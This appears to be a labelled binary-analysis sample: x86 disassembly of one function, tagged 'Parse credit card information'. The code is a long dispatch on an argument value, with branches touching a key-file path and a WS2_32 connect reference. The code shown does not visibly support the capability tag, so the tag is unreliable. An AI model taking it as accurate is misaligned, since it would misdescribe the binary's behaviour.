Function at 0x45b908
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 1
jne 0x45b93f
push 0
push 0x877c0f
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 2
jne 0x45b980
push 0
push 0x877c1d
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov eax, 0x877c1d
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x45b97c
push ebx
call fcn.004df4aa
add esp, 4
pop eax
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 3
jne 0x45b9a7
push 0
push 0x877c42
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 4
jne 0x45b9eb
push 0
push 0x877c4c
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
push 0
push 0
push 0xffffffffffffffff
push 0xc
push 0x1604d6e2
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 5
jne 0x45ba2f
push 0
push 0x877c5b
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
push 0
push 0
push 0xffffffffffffffff
push 0xc
push 0x1604d6e2
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 6
jne 0x45ba56
push 0
push 0x877c6a
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 7
jne 0x45ba7d
push 0
push 0x877c79
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 8
jne 0x45baa4
push 0
push 0x877c9a
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 9
jne 0x45bacb
push 0
push 0x877cb7
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0xa
jne 0x45baf2
push 0
push 0x877ce0
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0xb
jne 0x45bb19
push 0
push 0x877d17
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0xc
jne 0x45bc27
push dword [ebp + 0xc]
call fcn.0045c755
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x877d3c
mov ecx, 2
call fcn.00418052
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45bb56
push ebx
call fcn.004df4aa
add esp, 4
push 0
push dword [ebp - 0xc]
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45bb81
push ebx
call fcn.004df4aa
add esp, 4
push dword [ebp + 0xc]
call fcn.0045c755
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [0xaa05fc]
test ebx, ebx
je 0x45bba3
push ebx
call fcn.004df4aa
add esp, 4
pop eax
mov dword [0xaa05fc], eax
push 1
push 0xaa05fc
mov eax, 0x877d51
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov eax, 0x877d5a
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 1
mov eax, 0x877d5f
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
mov eax, str.C:qydjdlmmdlmm.key
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.0045c8bb
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x45bbf7
push ebx
call fcn.004df4aa
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x45bc07
push ebx
call fcn.004df4aa
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45bc17
push ebx
call fcn.004df4aa
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45bc27
push ebx
call fcn.004df4aa
add esp, 4
cmp dword [ebp + 8], 0xd
jne 0x45bc4e
push 0
push 0x877d7e
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0xe
jne 0x45bc75
push 0
push 0x877d95
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0xf
jne 0x45bc9c
push 0
push 0x877da6
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x10
jne 0x45bcc3
push 0
push 0x877dc0
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x11
jne 0x45bcea
push 0
push 0x877ddc
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x12
jne 0x45bd11
push 0
push 0x877def
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x13
jne 0x45bd38
push 0
push 0x877e02
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x14
jne 0x45bd5f
push 0
push 0x877e13
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x15
jne 0x45bd86
push 0
push 0x877e36
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x16
jne 0x45be52
push 0xffffffffffffffff
push 8
push 0x1604d6f3
push 0x520139fc
call fcn.004df4c2
add esp, 0x10
mov dword [ebp - 8], eax
push 0
push dword [ebp - 8]
push 0xffffffffffffffff
push 8
push 0x1604d6ec
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45bdd4
push ebx
call fcn.004df4aa
add esp, 4
push 0xffffffffffffffff
push 8
push 0x1604d6f2
push 0x520139fc
call fcn.004df4c2
add esp, 0x10
mov dword [ebp - 8], eax
push 0
push dword [ebp - 8]
push 0xffffffffffffffff
push 8
push 0x1604d6eb
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45be18
push ebx
call fcn.004df4aa
add esp, 4
push 0
push 0x877e51
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
push 0
push 0x877ae8
push 0xffffffffffffffff
push 0xa
push 0x1604d6f0
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x17
jne 0x45be79
push 0
push 0x877e69
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x18
jne 0x45becd
push 0x877e89
mov ebx, dword [ebp + 0xc]
push dword [ebx]
push 0x877e8c
mov ecx, 3
call fcn.00418052
add esp, 0xc
mov dword [ebp - 8], eax
push 0
push dword [ebp - 8]
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45becd
push ebx
call fcn.004df4aa
add esp, 4
cmp dword [ebp + 8], 0x19
jne 0x45bf21
push 0x877ec3
mov ebx, dword [ebp + 0xc]
push dword [ebx]
push 0x877ec6
mov ecx, 3
call fcn.00418052
add esp, 0xc
mov dword [ebp - 8], eax
push 0
push dword [ebp - 8]
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45bf21
push ebx
call fcn.004df4aa
add esp, 4
cmp dword [ebp + 8], 0x1a
jne 0x45bf48
push 0
push 0x877ee7
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x1b
jne 0x45bf6f
push 0
push 0x877ef4
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x1c
jne 0x45bf96
push 0
push 0x877f1b
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x1d
jne 0x45bfbd
push 0
push 0x877f2e
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x1e
jne 0x45bfe4
push 0
push 0x877f3f
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x1f
jne 0x45c00b
push 0
push 0x877f56
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x20
jne 0x45c032
push 0
push 0x877f63
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x21
jne 0x45c059
push 0
push 0x877f7c
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x22
jne 0x45c175
push 0xffffffffffffffff
push 0x12
push 0x1604d6f5
push 0x520139fc
call fcn.004df4c2
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x45c117
push 0
push 0x877f87
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x1604d6e8
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push 1
push 0
push 0x5dc
call fcn.004192bb
call fcn.0045d4c3
push reloc.WS2_32.dll_connect
push 0
push 0x6210f0
push 1
mov ebx, 0x4e39b0
call fcn.004df49e
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x45c112
jmp 0x45c112
jmp 0x45c175
push dword [ebp + 0xc]
call fcn.0045c755
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x877fa5
mov ecx, 2
call fcn.00418052
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45c14a
push ebx
call fcn.004df4aa
add esp, 4
push 0
push dword [ebp - 0xc]
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45c175
push ebx
call fcn.004df4aa
add esp, 4
cmp dword [ebp + 8], 0x23
jne 0x45c19c
push 0
push 0x877fba
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x24
jne 0x45c1c3
push 0
push 0x877fc7
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x25
jne 0x45c1ea
push 0
push 0x877fd7
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x26
jne 0x45c211
push 0
push 0x877fea
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x27
jne 0x45c238
push 0
push 0x877ffb
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x28
jne 0x45c25f
push 0
push 0x87800c
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x29
jne 0x45c286
push 0
push 0x878023
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x2a
jne 0x45c2ad
push 0
push 0x87802e
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x2b
jne 0x45c2d4
push 0
push 0x87803d
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x2c
jne 0x45c2fb
push 0
push 0x878050
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x2d
jne 0x45c322
push 0
push 0x878077
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x2e
jne 0x45c349
push 0
push 0x87808e
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x2f
jne 0x45c370
push 0
push 0x8780b8
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x30
jne 0x45c397
push 0
push 0x8780cb
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x31
jne 0x45c3be
push 0
push 0x8780dc
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x32
jne 0x45c3e5
push 0
push 0x877e02
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x33
jne 0x45c40c
push 0
push 0x878107
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x36
jne 0x45c433
push 0
push 0x878128
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x37
jne 0x45c45a
push 0
push 0x87813b
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x38
jne 0x45c481
push 0
push 0x878154
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x39
jne 0x45c4a8
push 0
push 0x87817f
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x3a
jne 0x45c4cf
push 0
push 0x87819e
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x3b
jne 0x45c4f6
push 0
push 0x8781b3
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x3c
jne 0x45c51d
push 0
push 0x8781c6
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x3d
jne 0x45c58a
push dword [ebp + 0xc]
call fcn.0045c755
mov dword [ebp - 8], eax
push 0x8781df
push dword [ebp - 8]
push 0x8781e4
mov ecx, 3
call fcn.00418052
add esp, 0xc
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45c55f
push ebx
call fcn.004df4aa
add esp, 4
push 0
push dword [ebp - 0xc]
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45c58a
push ebx
call fcn.004df4aa
add esp, 4
cmp dword [ebp + 8], 0x3e
jne 0x45c5b1
push 0
push 0x8781f3
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x3f
jne 0x45c5d8
push 0
push 0x87820a
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x40
jne 0x45c5ff
push 0
push 0x878221
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x41
jne 0x45c626
push 0
push 0x87823c
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x42
jne 0x45c667
push 0
push 0x878259
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov eax, 0x878259
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x45c663
push ebx
call fcn.004df4aa
add esp, 4
pop eax
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0x43
jne 0x45c68e
push 0
push 0x87826e
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
cmp dword [ebp + 8], 0x44
jne 0x45c71c
push 0x6210f0
push dword [0xaa0600]
call fcn.00417b9c
add esp, 8
cmp eax, 0
jne 0x45c6d6
push 0
push 0x878283
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
jmp 0x45c71c
push dword [0xaa0600]
push 0x878291
mov ecx, 2
call fcn.00418052
add esp, 8
mov dword [ebp - 8], eax
push 0
push dword [ebp - 8]
push 0xffffffffffffffff
push 8
push 0x1604d71b
push 0x520139fc
call fcn.004df4bc
add esp, 0x18
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45c71c
push ebx
call fcn.004df4aa
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x45c738
push eax
mov ebx, eax
call fcn.00417fe7
inc eax
push eax
call fcn.004df4a4
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x45c73d
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x45c74e
push ebx
call fcn.004df4aa
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0xc